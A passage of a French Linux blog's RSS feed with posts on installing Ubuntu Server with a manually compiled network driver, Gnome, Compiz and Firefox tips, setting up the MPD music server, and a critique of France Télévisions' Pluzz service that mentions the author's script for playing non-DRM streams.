			<wfw:commentRss>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Installer Ubuntu Server sur un Shuttle XS35</title>
		<link>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/</link>
		<comments>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 22:21:48 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2384</guid>
		<description><![CDATA[Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n&#8217;y a pas de ventilateur) et consomme peu. Je n&#8217;envisageais pas d&#8217;écrire un billet, mais l&#8217;installation d&#8217;Ubuntu Server 11.04 ne se déroule pas sans incidents&#160;: Aucune interface réseau n&#8217;a été détectée C&#8217;est le genre de problèmes qu&#8217;on espère un jour [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/XS35.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/XS35-146x300.jpg" alt="" title="XS35" width="146" height="300" class="alignright size-medium wp-image-2385" /></a></p>
<p>Je viens de migrer mon <a href="http://blog.rom1v.com/2009/01/nouveau-blog-100-libre/">auto-hébergement</a> vers cette <a href="http://www.shuttle.eu/fr/produits/discontinued/barebones/xs35gt/apercu/">nouvelle machine</a>. Elle est très silencieuse (il n&#8217;y a pas de ventilateur) et consomme peu.</p>
<p>Je n&#8217;envisageais pas d&#8217;écrire un billet, mais l&#8217;installation d&#8217;<em>Ubuntu Server 11.04</em> ne se déroule pas sans incidents&nbsp;:</p>
<blockquote><p>Aucune interface réseau n&#8217;a été détectée</p></blockquote>
<p>C&#8217;est le genre de problèmes qu&#8217;on espère un jour ne plus connaître lorsqu&#8217;on installe une distribution… Surtout lorsque ce problème en provoque d&#8217;autres… Ceci est donc un <em>aide-mémoire</em> qui me sera utile pour une future installation.</p>
<h3>Installation</h3>
<p>Tout d&#8217;abord, il faut ignorer le message d&#8217;erreur, tant pis, l&#8217;installation sera effectuée sans réseau.</p>
<p>Ensuite la section <em>Choisir et installer des logiciels</em>, il ne faut surtout pas activer <code>Mail</code> (<code>postfix</code> et <code>dovecot</code>) dans la liste&nbsp;: cela ferait planter le processus d&#8217;installation car il ne trouve pas d&#8217;interface réseau. En effet, dans <code>/var/log/syslog</code>, on trouve une erreur du genre&nbsp;:</p>
<pre>postfix/sendmail: fatal: could not find any active network interfaces</pre>
<p>On installera donc le serveur mail plus tard.</p>
<p>En suivant ces conseils, l&#8217;installation doit se dérouler correctement.</p>
<h3>Récupération des pilotes</h3>
<p>À partir d&#8217;un autre ordinateur, récupérer la dernière version des <a href="ftp://driver.jmicron.com.tw/Ethernet/Linux/">sources du pilote</a> (j&#8217;en fait une <a href="http://dl.rom1v.com/drivers-shuttle-xs35/jme-1.0.7.1.tbz2">copie</a> chez moi, au cas où).</p>
<p>Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter <code>sudo make install</code>. Sauf que <code>make</code> n&#8217;est pas installé par défaut sur <em>Ubuntu Server</em> (merci <em>Ubuntu</em>&nbsp;!), et pour l&#8217;installer, il faut le réseau… qu&#8217;on aura une fois qu&#8217;on aura installé les pilotes…</p>
<p>Heureusement, on peut s&#8217;en sortir manuellement. Pour cela, sur un ordinateur qui possède <code>make</code> (avec le même noyau pour la même architecture), extraire les sources de l&#8217;archive dans un répertoire et exécuter&nbsp;:</p>
<pre>tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make</pre>
<p>Cela crée un fichier <a href="http://dl.rom1v.com/drivers/jme.ko"><code>jme.ko</code></a> (je suis gentil, je vous donne le fichier déjà compilé pour le noyau <code>2.6.38-8-server</code> en <code>amd64</code>). Le copier sur une clé USB.</p>
<h3>Installation des pilotes</h3>
<p>Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme <code>/dev/sdX1</code>). Pour cela, (une technique parmi d&#8217;autres) juste après l&#8217;avoir branchée, exécuter&nbsp;:</p>
<pre>tail /var/log/syslog</pre>
<p>La commande doit afficher plusieurs lignes ressemblant à ceci&nbsp;:</p>
<pre>Jun  6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk</pre>
<p>Ici, l&#8217;emplacement est donc <code>/dev/sdb1</code>.</p>
<p>Monter donc la clé&nbsp;:</p>
<pre>sudo mount /dev/sdb1 /mnt</pre>
<p>Puis installer le pilote compilé au bon endroit et l&#8217;activer&nbsp;:</p>
<pre>sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme</pre>
<h3>Finaliser l&#8217;installation</h3>
<p>Ajouter à la fin de <code>/etc/network/interfaces</code>&nbsp;:</p>
<pre>auto eth0
iface eth0 inet dhcp</pre>
<p>Et rebooter&nbsp;:</p>
<pre>sudo reboot</pre>
<p>Normalement, la carte devrait être détectée (on peut tester avec <code>ifconfig</code>).</p>
<p>Si tout est OK, on peut maintenant <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">installer le serveur mail</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>1101 astuces pour Ubuntu 10.10</title>
		<link>http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/</link>
		<comments>http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/#comments</comments>
		<pubDate>Fri, 05 Nov 2010 14:11:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[compiz]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1958</guid>
		<description><![CDATA[Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques. 1101 est à lire en binaire, ça fait légèrement moins qu&#8217;en décimal Gnome Positionnement d&#8217;un ascenseur [...]]]></description>
			<content:encoded><![CDATA[<p>Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous <em>Ubuntu</em> (<em>Gnome</em>, <em>Compiz</em> et <em>Firefox</em> plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques.</p>
<p><em>1101 est à lire en binaire, ça fait légèrement moins qu&#8217;en décimal <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </em></p>
<h3>Gnome</h3>
<h4>Positionnement d&#8217;un ascenseur</h4>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/11/position-scrollbar.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/position-scrollbar.png" alt="" title="position-scrollbar" width="48" height="115" class="alignright size-full wp-image-1962" /></a><br />
Il y a plusieurs interactions possibles avec un &laquo;&nbsp;ascenseur&nbsp;&raquo; (horizontal ou vertical)&nbsp;:</p>
<ul>
<li>un clic sur les petites flèches permettent de déplacer le curseur ligne par ligne&nbsp;;</li>
<li>un clic dans la partie grisée permet de déplacer le curseur page par page&nbsp;;</li>
<li>un glisser-déposer (clic gauche maintenu sur le curseur pendant un déplacement) permet de placer le curseur à volonté.
</li>
</ul>
<p>Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d&#8217;aller chercher le curseur)&nbsp;: il suffit de <strong>cliquer avec le bouton du milieu à la position désirée dans la barre</strong>, le curseur va s&#8217;y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.</p>
<p>Ceci fonctionne également pour les <em>sliders</em>, par exemple pour le contrôle du volume dans l&#8217;applet de son de <em>Gnome</em>, ou pour la barre d&#8217;avancement d&#8217;un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).</p>
<h4>Contrôle du volume</h4>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/11/sound-applet.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/sound-applet.png" alt="" title="sound-applet" width="38" height="39" class="alignright size-full wp-image-1969" /></a><br />
Lorsque l&#8217;on clique sur l&#8217;applet de son de <em>Gnome</em>, un <em>slider</em> permettant de changer le volume apparaît. Mais il est également possible de <strong>survoler l&#8217;icône de son et d&#8217;augmenter ou de diminuer le volume grâce à la molette de la souris</strong>, sans cliquer.</p>
<h4>Déplacement d&#8217;un applet</h4>
<p>Sous <em>Gnome</em>, les barres du haut et du bas accueillent des <em>applets</em>. Avec un clic-droit sur l&#8217;un d&#8217;entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/gnome-panel.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/gnome-panel-300x117.png" alt="" title="gnome-panel" width="300" height="117" class="aligncenter size-medium wp-image-1983" /></a><br />
Si l&#8217;applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple&nbsp;: <strong>glisser-déposer l&#8217;applet en utilisant le clic milieu</strong> (cliquer et maintenir enfoncé le clic milieu et déplacer l&#8217;applet).</p>
<p>Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.</p>
<h4>Double-panneau Nautilus</h4>
<p>Nautilus permet d&#8217;<strong>afficher deux panneaux côte à côte en pressant la touche <em>F3</em></strong>.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/nautilus-f3.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/nautilus-f3-300x178.png" alt="" title="nautilus-f3" width="300" height="178" class="aligncenter size-medium wp-image-1980" /></a><br />
Une seconde pression sur <em>F3</em> repasse en mode &laquo;&nbsp;un seul panneau&nbsp;&raquo; (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l&#8217;utilisation de plusieurs fenêtres ou même d&#8217;onglets.</p>
<h4>Renommage avec ou sans extension</h4>
<p>Pour renommer un fichier dans <em>Nautilus</em>, vous connaissez sûrement la touche <em>F2</em>, qui renomme en présélectionnant le nom du fichier <em>sans</em> l&#8217;extension&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/rename.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/rename.png" alt="" title="rename" width="139" height="87" class="aligncenter size-full wp-image-1985" /></a><br />
Mais il est également possible de <strong>renommer en présélectionnant le nom du fichier <em>avec</em> l&#8217;extension, grâce à <em>Shift+F2</em></strong>.<br />
<em><strong>EDIT&nbsp;:</strong> Ou alors, <a href="http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/#comment-57658">deux fois F2</a>.</em></p>
<h3>Compiz</h3>
<h4>Déplacement d&#8217;une fenêtre</h4>
<p>Cette fonctionnalité est assez connue et utilisée je pense, puisqu&#8217;elle fonctionne avec quasiment tous les gestionnaires de fenêtres&nbsp;: <strong>le déplacement d&#8217;une fenêtre grâce à <em>Alt+clic gauche</em></strong>. Elle est très pratique, car elle évite d&#8217;aller chercher la barre de titre pour déplacer une fenêtre.</p>
<h4>Redimensionnement d&#8217;une fenêtre</h4>
<p>De la même manière, il est possible de <strong>redimensionner une fenêtre grâce à <em>Alt+clic milieu</em></strong>. Celle-ci est quasiment indispensable, tellement le fait d&#8217;aller chercher un bord de fenêtre est &laquo;&nbsp;coûteux&nbsp;&raquo;.<br />
La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche <em>Alt</em> et que vous appuyez sur le <em>clic milieu</em> au-dessus d&#8217;une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la &laquo;&nbsp;partie&nbsp;&raquo; de la fenêtre que vous survolez).<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/resize.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/resize-300x187.png" alt="" title="resize" width="300" height="187" class="aligncenter size-medium wp-image-1990" /></a></p>
<h4>Capture d&#8217;écran rapide par zone</h4>
<p>Grâce à <em>Compiz</em>, il est possible de <strong>capturer très simplement une zone de l&#8217;écran, grâce à <em>Super+clic gauche</em></strong> (la touche <em>Super</em> est la touche <em>Windows</em> sur la majorité des claviers)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/quick-screenshot.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/quick-screenshot-300x165.png" alt="" title="quick-screenshot" width="300" height="165" class="aligncenter size-medium wp-image-1993" /></a><br />
Pour cela, il faut activer le plug-in &laquo;&nbsp;Capture d&#8217;écran&nbsp;&raquo; dans <code>ccsm</code> (<a href="apt://compizconfig-settings-manager">compizconfig-settings-manager</a> doit être installé), et choisir un répertoire de destination (le bureau par exemple, j&#8217;en avais <a href="http://blog.rom1v.com/2008/08/screenshots-sous-ubuntu-plusieurs-methodes-a-connaitre/">déjà parlé ici</a>).</p>
<h4>Changement de bureau</h4>
<p>Par défaut, le changement de bureau est désactivé lors du déplacement d&#8217;une fenêtre sur un bord et lors d&#8217;un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l&#8217;activer.<br />
Cela se configure dans <code>ccsm</code> (là encore, <a href="apt://compizconfig-settings-manager">compizconfig-settings-manager</a> doit être installé).</p>
<p>Pour changer de bureau lors d&#8217;un déplacement de fenêtre au bord de l&#8217;écran&nbsp;: <strong><em>Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher)</em></strong>.<br />
Pour changer de bureau lors d&#8217;un scroll&nbsp;: <strong><em>Changeur de bureau → Desktop-based viewport switching → Bureau suivant&nbsp;= Button5&nbsp;; Bureau précédent&nbsp;= Button4</em></strong>.</p>
<h3>Firefox</h3>
<h4>Ajout d&#8217;un lien dans gnome-panel</h4>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-gnome-panel.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-gnome-panel.png" alt="" title="firefox-gnome-panel" width="107" height="113" class="alignright size-full wp-image-2002" /></a><br />
Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l&#8217;utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de <em>Gnome</em>, pour une page que je veux lire plus tard.<br />
Pour cela, il suffit de <strong>glisser-déposer le petit icône</strong> (le <em>favicon</em>) <strong>à gauche de la barre d&#8217;adresse vers la barre de <em>Gnome</em></strong>. Il est par contre regrettable que l&#8217;icône du raccourci ainsi créé ne soit pas le <em>favicon</em>.</p>
<h4>Suppression d&#8217;un historique de liste déroulante</h4>
<p>Lorsqu&#8217;une liste déroulante propose des résultats déjà entrés auparavant (à partir de l&#8217;historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en <strong>survolant avec la souris l&#8217;entrée correspondante et en appuyant sur <em>Shift+Suppr</em></strong>.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-history.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-history.png" alt="" title="firefox-history" width="268" height="68" class="aligncenter size-full wp-image-2011" /></a></p>
<p>Cela fonctionne dans la barre d&#8217;adresse, dans la barre de recherche et dans toute entrée de formulaire d&#8217;une page web.</p>
<h4>Chargement d&#8217;une URL par un clic milieu</h4>
<p>Lorsqu&#8217;une URL est présente dans le presse-papier, il est possible de la charger dans <em>Firefox</em> avec un simple clic milieu. Pour activer cette fonctionnalité, il faut taper <code>about:config</code> dans la barre d&#8217;adresse et passer la valeur de <code>middlemouse.contentLoadURL</code> à <code>true</code>.</p>
<p>Il suffit alors de <strong>surligner une URL</strong> (dans un fichier texte par exemple) <strong>puis de cliquer milieu dans le contenu d&#8217;une page dans <em>Firefox</em></strong> (sur un espace &laquo;&nbsp;vide&nbsp;&raquo;, pas sur un lien ou dans un champ de formulaire).</p>
<p><em><strong>EDIT&nbsp;:</strong> Ou sans modifier la configuration par défaut, voir commentaire <a href="http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/#comment-57632">#1</a>.</em></p>
<h4>Notifications intégrées</h4>
<p>Les notifications de <em>Firefox</em> ne sont pas intégrées au système&nbsp;: par défaut c&#8217;est un rectangle qui s&#8217;ouvre en bas à droite.<br />
Pour utiliser le système de notification d&#8217;<em>Ubuntu</em>, il suffit d&#8217;installer le paquet <a href="apt://xul-ext-notify">xul-ext-notify</a> (anciennement <code>firefox-notify</code>) et de redémarrer <em>Firefox</em>. C&#8217;est dommage qu&#8217;il ne soit pas installé par défaut.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-notify.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-notify-300x77.png" alt="" title="firefox-notify" width="300" height="77" class="aligncenter size-medium wp-image-2014" /></a></p>
<h3>Conclusion</h3>
<p>Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d&#8217;autres, n&#8217;hésitez pas à les détailler. <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>Music Player Daemon (MPD) : la musique à distance</title>
		<link>http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/</link>
		<comments>http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/#comments</comments>
		<pubDate>Tue, 28 Sep 2010 20:25:46 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[mpd]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1907</guid>
		<description><![CDATA[MPD est un lecteur audio libre un peu particulier&#160;: il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée). Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/09/mpd.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/09/mpd.png" alt="" title="mpd" width="134" height="116" class="alignright size-full wp-image-1908" /></a></p>
<p>MPD est un lecteur audio libre un peu particulier&nbsp;: il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).</p>
<p>Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s&#8217;il est relié à un écran).</p>
<h3>Serveur</h3>
<h4>Installation</h4>
<p>L&#8217;installation est extrêmement simple (testé sur <em>Ubuntu 10.10</em>), il suffit d&#8217;installer <a href="apt://mpd">mpd</a>&nbsp;:</p>
<pre>sudo apt-get install mpd</pre>
<p>Ensuite, il y a quelques petites lignes à modifier dans le fichier de configuration <code>/etc/mpd.conf</code>.<br />
Tout d&#8217;abord, il faut définir le répertoire du serveur qui contient la musique&nbsp;:</p>
<pre>music_directory                "/home/rom/Musique"</pre>
<p>Il vaut mieux commenter la ligne <code>bind_to_address</code> (pour éviter pas mal de problèmes)&nbsp;:</p>
<pre>#bind_to_address               "localhost"</pre>
<p>Pour que <code>MPD</code> ne monopolise pas le son de tout le système, commenter la ligne&nbsp;:</p>
<pre>#	device		"hw:0,0"	# optional</pre>
<p>Enfin, pour pouvoir changer le volume, décommenter la ligne&nbsp;:</p>
<pre>mixer_type                     "software"</pre>
<h4>Mise à jour de la base de données</h4>
<p>La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour&nbsp;:</p>
<pre>sudo mpd --create-db</pre>
<p><em>(le serveur doit être stoppé pour mettre à jour la base de cette manière)</em></p>
<p>Des logiciels clients permettent également de mettre à jour la base d&#8217;un simple clic.</p>
<p>Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles par tous (en particulier par l&#8217;utilisateur <code>mpd</code>). Si ce n&#8217;est pas le cas, modifiez les droits avec&nbsp;:</p>
<pre>chmod +r -R /home/rom/Musique</pre>
<h4>Démarrage et arrêt</h4>
<p>Pour démarrer le serveur&nbsp;:</p>
<pre>sudo service mpd start</pre>
<p>Pour le stopper&nbsp;:</p>
<pre>sudo service mpd stop</pre>
<p>Il démarrera automatiquement à chaque démarrage du système.</p>
<h3>Clients</h3>
<p>Les clients permettent de gérer la lecture à distance. Il est possible d&#8217;ouvrir plusieurs clients à la fois (un sur l&#8217;ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s&#8217;arrête pas lors de la fermeture du client. Chaque client a juste besoin de l&#8217;IP du serveur et du port (par défaut 6600).</p>
<p>Il en existe <a href="http://mpd.wikia.com/wiki/Clients">de nombreux</a> pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d&#8217;ergonomie. Globalement, ils sont moins agréables à utiliser qu&#8217;un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).</p>
<p>Je vais en présenter deux, un pour <em>Gnome</em> et un pour <em>Android</em>.</p>
<h4>Ario</h4>
<p>Après avoir testé de nombreux clients pour PC, mon choix s&#8217;est porté sur <a href="http://ario-player.sourceforge.net/">Ario</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/09/ario.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/09/ario-300x240.png" alt="" title="ario" width="300" height="240" class="aligncenter size-medium wp-image-1909" /></a></p>
<p>Quelques avantages qui m&#8217;ont convaincu&nbsp;:</p>
<ul>
<li>il est très bien intégré à <em>Gnome</em> (y compris avec le système de notifications utilisé par <em>Ubuntu</em>)&nbsp;;</li>
<li>il ressemble beaucoup à <em>Rhythmbox</em> dans son utilisation&nbsp;;</li>
<li>le double-clic sur un album peut être configuré pour <strong>remplacer</strong> la liste de lecture (plutôt que d&#8217;ajouter son contenu à la fin, sans le lire immédiatement), contrairement à de nombreux clients&nbsp;;</li>
<li>l&#8217;interface ne reste pas figée systématiquement lors d&#8217;une communication avec le serveur&nbsp;;</li>
<li>la base de données du serveur peut être mise à jour en un clic…</li>
</ul>
<h4>DMix/MPDroid</h4>
<p>Du côté d&#8217;<em>Android</em>, il y a beaucoup moins de clients. J&#8217;ai choisi <a href="http://github.com/dreamteam69/dmix/downloads">DMix/MPDroid</a> (qui est un fork de <a href="http://code.google.com/p/pmix/">PMix</a>)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/09/pmix.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/09/pmix-180x300.png" alt="" title="pmix" width="180" height="300" class="aligncenter size-medium wp-image-1919" /></a></p>
<p>C&#8217;est un simple fichier <code>apk</code> <a href="http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/">à installer</a>.</p>
<p>Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l&#8217;album sélectionné à la liste de lecture alors qu&#8217;une pression courte permet de naviguer vers les titres de l&#8217;album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C&#8217;est bon à savoir <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3>Aller plus loin</h3>
<p>Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d&#8217;<a href="http://blog.opensyd.fr/gerer-sa-collection-musicale-avec-mpd-et-y-acceder-en-streaming-avec-mpdroid/">un récent billet</a>.</p>
<h3>Conclusion</h3>
<p>Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l&#8217;ordinateur).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Pluzz.fr : France Televisions lance son service de TV de rattrapage non lisible</title>
		<link>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/</link>
		<comments>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 14:57:11 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Humeur]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[drm]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1669</guid>
		<description><![CDATA[Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d&#8217;accepter d&#8217;installer un système d&#8217;exploitation particulier avec un logiciel particulier (propriétaires évidemment). C&#8217;est comme s&#8217;ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d&#8217;une TV Sony ou Philips, et pas [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/07/france_televisions.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2010/07/france_televisions.jpg" alt="" title="france_televisions" width="300" height="155" class="alignright size-full wp-image-1675" /></a></p>
<p>Le 5 juillet (hier donc), <em>France Télévisions</em> <a href="http://linuxfr.org/~fabiensk/29918.html">a lancé</a> son service de télévision de rattrapage, <strong>qui ne permet pas de lire les vidéos</strong>. À moins d&#8217;accepter d&#8217;installer un système d&#8217;exploitation particulier avec un logiciel particulier (propriétaires évidemment). C&#8217;est comme s&#8217;ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d&#8217;une TV Sony ou Philips, et pas pour les autres… <em>France Télévisions</em> a simplement oublié que c&#8217;était un avant tout un <strong>service public</strong>.</p>
<h3>Formats</h3>
<p>La lecture des vidéos nécessite soit <em>Windows Media Player</em>, soit <em>Silverlight</em>. C&#8217;est dommage, il aurait été préférable que leur site soit du web, accessible à tous.</p>
<p>En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c&#8217;est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d&#8217;empêcher la copie&nbsp;; ce n&#8217;est pas totalement faux&nbsp;: quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.</p>
<p><strong>En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n&#8217;est pas copiable n&#8217;est pas lisible.</strong></p>
<h3>Outil d&#8217;accès</h3>
<p>Comme <em>France Télévisions</em> n&#8217;a pas fait son boulot d&#8217;<a href="http://fr.wikipedia.org/wiki/Interop%C3%A9rabilit%C3%A9">interopérabilité</a>, et qu&#8217;a priori chacun a droit d&#8217;accéder à ce service (public!), nous sommes obligés de nous débrouiller par nous-mêmes.</p>
<p>J&#8217;ai donc écrit un petit script <em>bash</em> qui permet d&#8217;accéder relativement simplement à <em>Pluzz</em> à partir d&#8217;un système libre (où VLC doit être installé, testé sur <em>Ubuntu 10.04</em>). Pour l&#8217;utiliser, rendez-vous sur <a href="http://www.pluzz.fr">Pluzz.fr</a>, cliquez sur l&#8217;émission de votre choix, et copier l&#8217;adresse de la page (par exemple <code>http://www.pluzz.fr/jt-20h.html</code>).</p>
<p>Ensuite, pour lire la vidéo, tapez&nbsp;:</p>
<pre>pluzz play http://www.pluzz.fr/jt-20h.html</pre>
<p>Pour l&#8217;enregistrer (bah oui, tout ce qui est lisible est enregistrable)&nbsp;:</p>
<pre>pluzz record http://www.pluzz.fr/jt-20h.html</pre>
<p>Si vous voulez simplement l&#8217;url du flux&nbsp;:</p>
<pre>pluzz url http://www.pluzz.fr/jt-20h.html</pre>
<p>Ceci ne fonctionnera que pour les vidéos sans DRM&nbsp;: les vidéos avec DRM ne sont pas lisibles.</p>
